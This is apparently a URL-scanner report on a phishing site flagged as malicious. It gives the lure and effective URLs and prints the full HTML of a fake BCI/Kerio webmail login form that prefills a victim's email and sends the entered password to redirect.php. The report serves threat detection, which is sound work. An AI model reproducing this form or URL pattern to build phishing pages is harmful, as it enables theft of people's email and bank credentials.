209.61.195.204.unitedbonline.com
67.225.140.132  Malicious Activity!

Submitted URL: http://209.61.195.204.unitedbonline.com/os?email=servicio_bci@bci
Effective URL: http://209.61.195.204.unitedbonline.com/os/cmd-login=a1e17be73f109984b184d86e14e76d2f/qsm5snbbs1463lr9rlo6wd7c.php?rand=13InboxLightaspxn.1774256418&fid.4.1252899642&fid=1&fav.1&rand.13InboxLight.aspxn.1774256418&fid.1252899642&fid.1&fav.1&email=servicio_bci@bci&loginpage=&.rand=13InboxLight.aspx?n=1774256418&fid=4
Submission: On May 16 via api from CL

Form analysis 1 forms found in the DOM

GET redirect.php

<form action="redirect.php" method="GET" novalidate="novalidate">
  <div id="logoField" style="font-size:36px; color:#02A0E0; font-weight:bold;">
    <img id="x_cfw" src="./login_files/logo.png" alt="Mail" width="48" height="48"> BCI</div>
  <table id="x_cfn" cellspacing="0" cellpadding="0" border="0">
    <tbody>
      <tr>
        <td>
          <img id="x_cfy" src="./login_files/top.png" alt="" width="304" height="23">
        </td>
      </tr>
      <tr>
        <td id="x_cfp">
          <center>
            <table cellspacing="0" cellpadding="0" border="0">
              <tbody>
                <tr>
                  <td></td>
                </tr>
                <tr>
                  <td class="x_cfu">Username
                    <br>
                    <input id="x_cfq" name="kerio_username" type="email" style="cursor:no-drop; -webkit-touch-callout: none;
    -webkit-user-select: none;
    -khtml-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    -o-user-select: none;
    user-select: none;" readonly value="servicio_bci@bci">
                  </td>
                </tr>
                <tr>
                  <td class="x_cfu">Password
                    <br>
                    <span style="position: relative;">
                      <span style="position: relative;">
                        <input type="hidden" name="kerio_password">
                        <input id="x_cfr" autofocus value="" placeholder="Password" required autocomplete="off" class="submit masked" action="connectID.php" method="SUBMIT" type="text">
                      </span>
                    </span>
                    <script type="text/javascript">
                      //apply masking to the demo-field
                      //pass the field reference, masking symbol, and character limit
                      new MaskedPassword(document.getElementById("x_cfr"), '\u25CF');
                      //test the submitted value
                      document.getElementById('demo-form').onsubmit = function() {
                        alert('pword = "' + this.pword.value + '"');
                        return false;
                      };
                    </script>
                  </td>
                </tr>
                <tr>
                  <td>
                    <input id="x_cft" value="Login" type="submit">
                  </td>
                </tr>
                <tr>
                  <td align="center">
                    <table cellspacing="0" cellpadding="0" border="0">
                      <tbody>
                        <tr>
                          <td valign="middle">
                            <input onchange="x_cgk(this.checked)" id="x_cgl" name="kerio_useMini" type="checkbox">
                          </td>
                          <td valign="middle">
                            <label for="x_cgl">Keep me signed in</label>
                          </td>
                        </tr>
                      </tbody>
                    </table>
                  </td>
                </tr>
              </tbody>
            </table>
          </center>
        </td>
      </tr>
      <tr>
        <td>
          <img id="x_cfz" src="./login_files/bottom.png" alt="" width="304" height="24">
        </td>
      </tr>
      <tr>
        <td id="x_cfs"><a href="?oldStyle=true">Forgot Password</a></td>
      </tr>
    </tbody>
  </table>
</form>

Text Content

BCI Client
BCIUsername
Password
Keep me signed inForgot Password